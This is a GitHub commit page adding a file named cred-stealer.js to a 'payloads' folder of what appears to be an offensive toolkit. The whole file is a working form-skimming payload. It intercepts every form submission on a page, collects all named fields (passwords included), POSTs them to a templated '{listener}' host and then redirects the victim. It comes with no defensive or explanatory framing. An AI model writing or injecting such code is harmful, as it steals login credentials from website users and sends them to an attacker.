Skip to content

Commit

Permalink
Create cred-stealer.js
Browse files Browse the repository at this point in the history
  • Loading branch information
redr0nin authored Mar 30, 2023
1 parent 69210e1 commit 8c244f3
Showing 1 changed file with 32 additions and 0 deletions.
32 changes: 32 additions & 0 deletions payloads/cred-stealer.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
document.addEventListener('submit', function(event) {
{
event.preventDefault();

var formElements = event.target.elements;
var formData = new FormData();

for (var i = 0; i < formElements.length; i++) {
{
var element = formElements[i];
if (element.name) {
{
formData.append(element.name, element.value);
}
}
}
}

fetch('{listener}', {
{
method: 'POST',
body: formData
}
}).then(function() {
{
window.location = '{redirect_url}';
}
});

return false;
}
});

0 comments on commit 8c244f3

Please sign in to comment.